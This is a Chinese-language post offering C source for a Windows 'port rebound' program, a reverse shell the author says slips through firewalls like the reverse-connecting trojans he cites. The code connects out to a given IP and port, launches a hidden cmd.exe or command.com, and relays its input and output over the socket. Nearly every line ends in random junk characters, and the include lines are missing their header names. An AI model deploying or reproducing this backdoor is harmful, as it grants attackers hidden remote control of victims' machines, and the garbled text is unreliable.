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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 217KJ~)'  
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/* ============================== ToN$x^M w  
Rebound port in Windows NT dZ7+Iw;m  
By wind,2006/7 pU*dE   
===============================*/ O9k9hRE]z  
#include aMFUJrXo  
#include n(b(H`1n  
6 /Apdn1[  
#pragma comment(lib,"wsock32.lib") rnVh ]xJ  
h*Y);mc$#  
void OutputShell(); <"@~  
SOCKET sClient; Nd~?kZZu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %Y` @>P'  
%jY /jp=R  
void main(int argc,char **argv) n@xDFa  
{ !z;a>[T'  
WSADATA stWsaData; sgo({zA`i  
int nRet; xh\{ dUPA  
SOCKADDR_IN stSaiClient,stSaiServer; Y$ ;C@I  
']+-u{+#  
if(argc != 3) h&Ehp   
{ Eq9TJt'3y  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5eO`u8M  
return; bO: Ei  
} 3I?? K)Yl  
_1`*&k JL~  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,iU ]zN//  
HZdmL-1Z^+  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m[C-/f^u|  
*/n)_  
stSaiClient.sin_family = AF_INET; 9(Vq@.;Z`j  
stSaiClient.sin_port = htons(0); /}Y>_8 7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]}cai1  
})|+tZ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) d9[*&[2J|  
{ n}qHt0N  
printf("Bind Socket Failed!\n"); H'$g!Pg  
return;  XGEAcN  
} K^k1]!W=  
h@T}WZv  
stSaiServer.sin_family = AF_INET; SQ)$>3>C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l'(Cxhf.W  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {b>tX)Tep  
"2X=i`rTi  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jBV2]..  
{ %,GY&hTw  
printf("Connect Error!"); SU9#Y|I  
return; \CL |=8[2  
} cX@~Hk4=\  
OutputShell(); k=O2s'F`  
} )kl| 5i  
Mu18s}  
void OutputShell() 3mgFouX2x,  
{ "';'*x  
char szBuff[1024]; zqqpBwk#  
SECURITY_ATTRIBUTES stSecurityAttributes; 5,'?NEyw  
OSVERSIONINFO stOsversionInfo; [SgP1>M  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0i9y-32-  
STARTUPINFO stStartupInfo; jN V2o  
char *szShell; 'z2}qJJ)  
PROCESS_INFORMATION stProcessInformation; UnZ*"%  
unsigned long lBytesRead; }.7!@!q.  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); PEoO s  
!J[3U   
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cU5x8[2  
stSecurityAttributes.lpSecurityDescriptor = 0; ~ @Ib:M  
stSecurityAttributes.bInheritHandle = TRUE; Bm%:Qc*  
dZRz'd  
,-t3gc1~X  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y*O7lZuF%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S)z jfJR  
B N@*CG  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); dh%C@n:B  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *8U+2zgfC  
stStartupInfo.wShowWindow = SW_HIDE; =R!=uml(  
stStartupInfo.hStdInput = hReadPipe; +M (\R?@gr  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Fm{Ri=X<:  
<dDGV>n4;  
GetVersionEx(&stOsversionInfo); cg<10KT  
 o )cd!,h  
switch(stOsversionInfo.dwPlatformId) r~u/M0h `  
{ BXaA#} ;e  
case 1: ,>2ijk#  
szShell = "command.com"; EKk~~PhW 8  
break; {.z2n>1J{T  
default: e6k}-<W*q  
szShell = "cmd.exe"; |t|+pBB  
break; z['>`Kt  
} *4r 1g+0  
9">}@1k  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WYwsTsG{_  
1fQvh/2  
send(sClient,szMsg,77,0); >ALU}o/  
while(1) N6$pOQ  
{ G[r_|-^S  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); J:'cj5@  
if(lBytesRead) %]>c4"H  
{ BkJV{>?_+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ss%ahs  
send(sClient,szBuff,lBytesRead,0); G|Ic6Sd  
} RqXcL,,9  
else +e%9P%[+  
{ }-)2CEj3L%  
lBytesRead=recv(sClient,szBuff,1024,0); ]o_Z3xXUa  
if(lBytesRead<=0) break; mmAikT#k  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Q4TI '/  
} %U)/>Z  
} : +/V  
gT'c`3Gkz  
return; "Q A#  
}
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